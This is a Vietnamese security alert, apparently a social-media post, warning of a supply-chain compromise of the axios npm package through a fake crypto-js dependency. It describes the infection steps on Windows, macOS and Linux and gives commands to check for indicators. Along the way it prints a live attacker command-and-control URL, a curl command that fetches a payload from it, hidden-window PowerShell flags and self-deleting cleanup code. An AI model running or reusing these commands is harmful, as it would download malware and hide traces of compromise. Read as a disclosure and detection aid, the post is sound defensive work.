⚠️⚠️⚠️ Thông báo khẩn cấp ⚠️⚠️⚠️
Các nhà phát triển, đặc biệt là những người sử dụng Node.js, nên kiểm tra phiên bản thư viện axios.
Thêm vào đó, không chỉ các nhà phát triển sử dụng các công cụ dòng lệnh AI (như Codex và Claude Code) và gọi các công cụ quản lý đa nền tảng như OpenWebSearch; họ cũng cần thực hiện các bước tự kiểm tra.
Khi sử dụng phiên bản mới nhất được cài đặt thông qua npx, axios@1.14.1 sẽ được cài đặt. Phiên bản này dễ bị nhiễm bẩn Chuỗi cung ứng.
Gói tin độc hại | plain-crypto-js@4.2.1 (ngụy trang dưới dạng crypto-js)
Công cụ phân phối mã độc axios │ axios@1.14.1 (đã được sửa đổi, bổ sung thêm thư viện plain-crypto-js)
Các MCP bị ảnh hưởng | Hành vi lưu trữ NPX độc hại trong open-websearch và exa-mcp-server | Sao chép PowerShell vào wt.exe, thực thi payload từ xa, sau đó tự xóa.
Giải thích chi tiết về hành vi tấn công
Máy chủ C2: <a href="http:/sfrclak.com:8000/6202033">http:/sfrclak.com:8000/6202033</a>
Một cuộc tấn công toàn diện trên ba nền tảng
Windows:
1. Sử dụng lệnh PowerShell để tìm đường dẫn powershell.exe.
2. Sao chép powershell.exe → C:\ProgramData\wt.exe (được ngụy trang dưới dạng Windows Terminal)
3. Viết đoạn mã VBScript vào %TEMP%\6202033.vbs:
- Tải xuống payload từ C2 bằng curl: curl -s -X POST -d "packages.npm.org/product1" " <a href="http:/sfrclak.com:8000/6202033">http:/sfrclak.com:8000/6202033</a> "
- Lưu dưới dạng tệp .ps1
- Thực thi trong cửa sổ ẩn bằng lệnh PowerShell đã được ngụy trang: -w hidden -ep bypass
- Xóa tệp .ps1 sau khi thực thi
4. Thực thi VBScript một cách im lặng bằng CScript, sau đó xóa VBScript sau khi thực thi xong.
macOS:
1. Sử dụng curl để tải xuống một tệp nhị phân từ C2 vào /Library/Caches/com.apple.act.mond (ngụy trang nó như một tiến trình hệ thống).
2. Lệnh `chmod 770` dùng để cấp quyền.
3. Thực thi ngầm và kết nối lại với C2.
4. Thực thi thông qua osascript (AppleScript) để xóa dấu vết.
Linux:
1. Sử dụng lệnh curl để tải xuống một tập lệnh Python từ máy chủ C2 vào thư mục /tmp/ld.py
2. Lệnh `nohup` được thực thi ngầm và kết nối trở lại với máy chủ C2.
Hành động cuối cùng là tiêu hủy bằng chứng.
// Xóa chính nó setup.js
fs.unlink(__filename, (x=>{}));
// Đổi tên package.md thành package.json, ghi đè lên tệp gốc package.json chứa postinstall.
fs.rename("package.md", "package.json", (x=>{}));
Ngay cả package.json cũng đã được thay thế, và sau khi kiểm tra các phần phụ thuộc, không thể thấy rằng postinstall đã từng tồn tại.
Sàng lọc nhanh
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
Vui lòng kiểm tra các mục sau trong thư mục plain-crypto-js: node_modules:
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
Nếu chương trình setup.js đã chạy, package.json thì nội dung của mục lục này sẽ được thay thế bằng một tệp mẫu sạch.
Sự tồn tại của mục lục này là bằng chứng đủ cho thấy chương trình phân phối đã được thực thi.
Kiểm tra xem có dấu vết của phần mềm RAT trên hệ thống bị ảnh hưởng hay không:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED":: Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
Đây là một cuộc tấn công Chuỗi cung ứng zero-day xảy ra chưa đầy 24 giờ trước (ngày 31 tháng 3 năm 2026), và chưa được npm cũng như cộng đồng bảo mật công khai.
